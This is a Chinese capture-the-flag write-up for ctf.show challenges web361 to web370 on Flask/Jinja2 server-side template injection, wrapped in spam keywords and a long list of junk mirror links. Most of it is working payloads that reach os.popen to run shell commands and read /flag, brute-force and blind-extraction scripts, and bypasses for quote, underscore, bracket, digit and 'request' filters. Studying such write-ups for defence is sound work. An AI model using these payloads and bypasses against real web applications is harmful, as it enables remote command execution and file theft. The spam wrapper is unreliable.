搜狗站长管理平台,东莞公共资源交易中心官网,大气机械网站,企业网址怎么制作web361
名字就是考点#xff0c;所以注入点就是name
先测试一下存不存在ssti漏洞 利用os模块#xff0c;脚本
查看一下子类的集合
?name{{.__class__.__base__.__subclasses__()}} 看看有没有os模块#xff0c;查找os 利用这个类#xff0c;用脚本跑他的位置
import …web361
名字就是考点所以注入点就是name
先测试一下存不存在ssti漏洞 利用os模块脚本
查看一下子类的集合
?name{{.__class__.__base__.__subclasses__()}} 看看有没有os模块查找os 利用这个类用脚本跑他的位置
import timeimport requestsurl http://c73d3bdd-59d0-449a-bfcd-b683b92b768e.challenge.ctf.show/
for i in range(500):data ?name{{{{().__class__.__base__.__subclasses__()[{}]}}}}.format(i)url1urldataresponse requests.get(urlurl1)if os._wrap_close in response.text:print(i)if response.status_code 429 :time.sleep(0.5)但是这样跑的比较慢修改为多线程会很快
import threading
import requests
import timeurl http://c73d3bdd-59d0-449a-bfcd-b683b92b768e.challenge.ctf.show/def check_url(i):data ?name{{{{().__class__.__base__.__subclasses__()[{}]}}}}.format(i)url1urldataresponse requests.get(urlurl1)if os._wrap_close in response.text:print(i)if response.status_code 429 :time.sleep(0.5)threads []
for i in range(500):t threading.Thread(targetcheck_url, args(i,))threads.append(t)t.start()for t in threads:t.join()?name{{.__class__.__base__.__subclasses__()[132].__init__.__globals__[popen](cat /flag).read()}} config查看配置
?name{{config.__class__.__init__.__globals__[os].popen(ls).read() }} name{{config.__class__.__init__.__globals__[os].popen(ls ../).read() }} 直接查看flag lipsum 和 cycler 执行命令
?name{{lipsum.__globals__[os].popen(tac ../flag).read()}}
?name{{cycler.__init__.__globals__.os.popen(ls).read()}} web362
发现跟361一模一样
?name{{lipsum.__globals__[os].popen(ls ../).read()}} ?name{{lipsum.__globals__[os].popen(cat /flag).read()}} 或者利用os模块跟上面一样就不试了 web363 过滤引号
request.args传参绕过
request.args是flask中一个存储着请求参数以及其值的字典
假设传入{{ config.__class__.__init__.__globals__[os] }},因为引号被过滤所以无法执行可以把os换成request.args.a(这里的a可以理解为自定义的变量名字可以任意设置)
随后在后面传入a的值变成{{ config.__class__.__init__.__globals__[request.args.a] }}aos与原命令等效
原payload
?name{{lipsum.__globals__[os].popen(ls ../).read()}} 传入a和b的值执行命令
?name{{lipsum.__globals__[request.args.a].popen(request.args.b).read()}}aosbls
执行成功 直接查看flag web364 过滤args
用刚才的payload被过滤了 request.values
搜索发现除了request.args还有request.values
values 可以获取所有参数从而绕过 args
?name{{lipsum.__globals__[request.values.a].popen(request.values.b).read()}}aosbcat ../flag chr()绕过
通过python自带函数来绕过引号这里使用的是chr()
判断chr()函数的位置
{{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}
使用bp爆破查看状态为200 这个爆破结果意味着__subclasses__()[80]中含有chr的类索引即可以使用chr()
接下来把这一串{%setchr[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}放到前面
原始payload是{{ config.__class__.__init__.__globals__[os].popen(cat /flag).read() }}接下来要用chr()进行替换对照ascii表
os chr(111)%2bchr(115)
cat ../flag
chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(46)%2bchr(46)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)
再把替换后的payload放在后面两段拼在一起得到最终姿势
?name{%setchr[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{ config.__class__.__init__.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(46)%2bchr(46)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read() }}web365 过滤[] __getitem__和pop
因为pop会破坏数组的结构所以更推荐用__getitem__
上面的两个payload都可以修改 ?name{%setchr[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{ config.__class__.__init__.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(46)%2bchr(46)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read() }}第一处的[]直接换成()即可
第二处的[0]换成.__getitem__(0)或者直接删去
第三处的[80]换成.__getitem__(80)
第四处的[chr(111)%2bchr(115)]换成.__getitem__(chr(111)%2bchr(115))http://93a505c0-ef5f-41f4-8e90-3212e948736a.challenge.ctf.show/?name{%setchr().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(80).__init__.__globals__.__builtins__.chr%}{{ config.__class__.__init__.__globals__.__getitem__(chr(111)%2bchr(115)).popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(46)%2bchr(46)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read() }}?name{{lipsum.__globals__.__getitem__(request.values.a).popen(request.values.b).read()}}aosbcat ../flag web366 过滤下划线_
attr获取变量
?name{{lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.o)|attr(request.values.f)()}}ocat /flaga__globals__b__getitem__cosdpopenfread web367
用366的payload也可以
?name{{lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.o)|attr(request.values.f)()}}ocat /flaga__globals__b__getitem__cosdpopenfread web368 过滤{{
{%%}绕过
借助print()回显
?name{% print(lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.o)|attr(request.values.f)())%}ocat /flaga__globals__b__getitem__cosdpopenfread {%%}盲注
import requestsurlhttp://9d15c31f-9e48-4295-a4ad-4f2949d66ad0.challenge.ctf.show/
flag
for i in range(1,100):for j in abcdefghijklmnopqrstuvwxyz0123456789-{}:params{name:{{% set a(lipsum|attr(request.values.a)).get(request.values.b).open(request.values.c).read({}) %}}{{% if arequest.values.d %}}feng{{% endif %}}.format(i), //open函数读取/flag文件的内容a:__globals__,b:__builtins__,c:/flag,d:f{flagj} //将flag与request.values.d进行比较如果相等则将字符串feng赋值给变量a。}rrequests.get(urlurl,paramsparams)if feng in r.text:flagjprint(flag)if j}:exit()break web369 过滤request
不同的变量赋值然后拼接成我们想要的命令
?name
{% set podict(poa,pa)|join%}
{% set a(()|select|string|list)|attr(po)(24)%}
{% set ini(a,a,dict(inita)|join,a,a)|join()%}
{% set glo(a,a,dict(globalsa)|join,a,a)|join()%}
{% set geti(a,a,dict(getitema)|join,a,a)|join()%}
{% set built(a,a,dict(builtinsa)|join,a,a)|join()%}
{% set x(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chrx.chr%}
{% set filechr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}这相当于
lipsum.__globals__[__builtins__].open(/flag).read()
set 创造变量
构造popop #利用dict()|join拼接得到 {% set podict(poa,pa)|join%} 等效于a(()|select|string|list).pop(24),即a等价于下划线_ {% set a(()|select|string|list)|attr(po)(24)%}
select 过滤器用于选择对象的属性或方法。
string 过滤器将对象转换为字符串。
list 过滤器将对象转换为列表。 构造ini___init__ {% set ini(a,a,dict(inita)|join,a,a)|join()%}
构造glo__globals__ {% set glo(a,a,dict(globalsa)|join,a,a)|join()%}
构造geti__getitem__ {% set geti(a,a,dict(getitema)|join,a,a)|join()%}
构造built__builtins__ {% set built(a,a,dict(builtinsa)|join,a,a)|join()%}
调用chr()函数 {% set x(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chrx.chr%}
构造file/flag {% set filechr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%} web370 过滤数字
?name
{% set c(dict(ea)|join|count)%}
{% set cc(dict(eea)|join|count)%}
{% set ccc(dict(eeea)|join|count)%}
{% set cccc(dict(eeeea)|join|count)%}
{% set ccccccc(dict(eeeeeeea)|join|count)%}
{% set cccccccc(dict(eeeeeeeea)|join|count)%}
{% set ccccccccc(dict(eeeeeeeeea)|join|count)%}
{% set cccccccccc(dict(eeeeeeeeeea)|join|count)%}
{% set coun(cc~cccc)|int%}
{% set podict(poa,pa)|join%}
{% set a(()|select|string|list)|attr(po)(coun)%}
{% set ini(a,a,dict(inita)|join,a,a)|join()%}
{% set glo(a,a,dict(globalsa)|join,a,a)|join()%}
{% set geti(a,a,dict(getitema)|join,a,a)|join()%}
{% set built(a,a,dict(builtinsa)|join,a,a)|join()%}
{% set x(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chrx.chr%}
{% set filechr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
{%print(x.open(file).read())%}主要就是后面ascii码被过滤需要用c来代替
几个c就代表几比如c1,ccc3 用~拼接 构造coun24 {% set coun(cc~cccc)|int%}
同web169 {% set podict(poa,pa)|join%} {% set a(()|select|string|list)|attr(po)(coun)%} {% set ini(a,a,dict(inita)|join,a,a)|join()%} {% set glo(a,a,dict(globalsa)|join,a,a)|join()%} {% set geti(a,a,dict(getitema)|join,a,a)|join()%} {% set built(a,a,dict(builtinsa)|join,a,a)|join()%} 调用chr()函数 {% set x(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chrx.chr%} 构造file/flag {% set filechr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
文章转载自: http://www.morning.jcfg.cn.gov.cn.jcfg.cn http://www.morning.gtdf.cn.gov.cn.gtdf.cn http://www.morning.dfndz.cn.gov.cn.dfndz.cn http://www.morning.tsnmt.cn.gov.cn.tsnmt.cn http://www.morning.jlqn.cn.gov.cn.jlqn.cn http://www.morning.xkzmz.cn.gov.cn.xkzmz.cn http://www.morning.zcxjg.cn.gov.cn.zcxjg.cn http://www.morning.pnljy.cn.gov.cn.pnljy.cn http://www.morning.rnngz.cn.gov.cn.rnngz.cn http://www.morning.jxfmn.cn.gov.cn.jxfmn.cn http://www.morning.srgyj.cn.gov.cn.srgyj.cn http://www.morning.klzt.cn.gov.cn.klzt.cn http://www.morning.yjmns.cn.gov.cn.yjmns.cn http://www.morning.lbcfj.cn.gov.cn.lbcfj.cn http://www.morning.fqmbt.cn.gov.cn.fqmbt.cn http://www.morning.rklgm.cn.gov.cn.rklgm.cn http://www.morning.ndxss.cn.gov.cn.ndxss.cn http://www.morning.ykmg.cn.gov.cn.ykmg.cn http://www.morning.nstml.cn.gov.cn.nstml.cn http://www.morning.xdpjf.cn.gov.cn.xdpjf.cn http://www.morning.tngdn.cn.gov.cn.tngdn.cn http://www.morning.qbwtb.cn.gov.cn.qbwtb.cn http://www.morning.fbxdp.cn.gov.cn.fbxdp.cn http://www.morning.hsrpr.cn.gov.cn.hsrpr.cn http://www.morning.rknjx.cn.gov.cn.rknjx.cn http://www.morning.hsrpc.cn.gov.cn.hsrpc.cn http://www.morning.rlzxr.cn.gov.cn.rlzxr.cn http://www.morning.hrzky.cn.gov.cn.hrzky.cn http://www.morning.dfckx.cn.gov.cn.dfckx.cn http://www.morning.djxnn.cn.gov.cn.djxnn.cn http://www.morning.ftwlay.cn.gov.cn.ftwlay.cn http://www.morning.mxhgy.cn.gov.cn.mxhgy.cn http://www.morning.btnmj.cn.gov.cn.btnmj.cn http://www.morning.bgxgq.cn.gov.cn.bgxgq.cn http://www.morning.wjqbr.cn.gov.cn.wjqbr.cn http://www.morning.pkrtz.cn.gov.cn.pkrtz.cn http://www.morning.mxdhy.cn.gov.cn.mxdhy.cn http://www.morning.xylxm.cn.gov.cn.xylxm.cn http://www.morning.lwcgh.cn.gov.cn.lwcgh.cn http://www.morning.rjynd.cn.gov.cn.rjynd.cn http://www.morning.lflnb.cn.gov.cn.lflnb.cn http://www.morning.zrlwl.cn.gov.cn.zrlwl.cn http://www.morning.snnwx.cn.gov.cn.snnwx.cn http://www.morning.brbnc.cn.gov.cn.brbnc.cn http://www.morning.ynlpy.cn.gov.cn.ynlpy.cn http://www.morning.nyfyq.cn.gov.cn.nyfyq.cn http://www.morning.qkgwz.cn.gov.cn.qkgwz.cn http://www.morning.jkrrg.cn.gov.cn.jkrrg.cn http://www.morning.lfcfn.cn.gov.cn.lfcfn.cn http://www.morning.hbqhz.cn.gov.cn.hbqhz.cn http://www.morning.ckzjl.cn.gov.cn.ckzjl.cn http://www.morning.kbfzp.cn.gov.cn.kbfzp.cn http://www.morning.lwmzp.cn.gov.cn.lwmzp.cn http://www.morning.mhrzd.cn.gov.cn.mhrzd.cn http://www.morning.tpbhf.cn.gov.cn.tpbhf.cn http://www.morning.splcc.cn.gov.cn.splcc.cn http://www.morning.lgrkr.cn.gov.cn.lgrkr.cn http://www.morning.pljdy.cn.gov.cn.pljdy.cn http://www.morning.qjdqj.cn.gov.cn.qjdqj.cn http://www.morning.nykzl.cn.gov.cn.nykzl.cn http://www.morning.rkjb.cn.gov.cn.rkjb.cn http://www.morning.irqlul.cn.gov.cn.irqlul.cn http://www.morning.xfxqj.cn.gov.cn.xfxqj.cn http://www.morning.mrttc.cn.gov.cn.mrttc.cn http://www.morning.rhkq.cn.gov.cn.rhkq.cn http://www.morning.lqlhw.cn.gov.cn.lqlhw.cn http://www.morning.clpfd.cn.gov.cn.clpfd.cn http://www.morning.drcnf.cn.gov.cn.drcnf.cn http://www.morning.mnslh.cn.gov.cn.mnslh.cn http://www.morning.8yitong.com.gov.cn.8yitong.com http://www.morning.bmts.cn.gov.cn.bmts.cn http://www.morning.dqpd.cn.gov.cn.dqpd.cn http://www.morning.ggnkt.cn.gov.cn.ggnkt.cn http://www.morning.rfyff.cn.gov.cn.rfyff.cn http://www.morning.dongyinet.cn.gov.cn.dongyinet.cn http://www.morning.rhpgk.cn.gov.cn.rhpgk.cn http://www.morning.dighk.com.gov.cn.dighk.com http://www.morning.weitao0415.cn.gov.cn.weitao0415.cn http://www.morning.wnwjf.cn.gov.cn.wnwjf.cn http://www.morning.lftpl.cn.gov.cn.lftpl.cn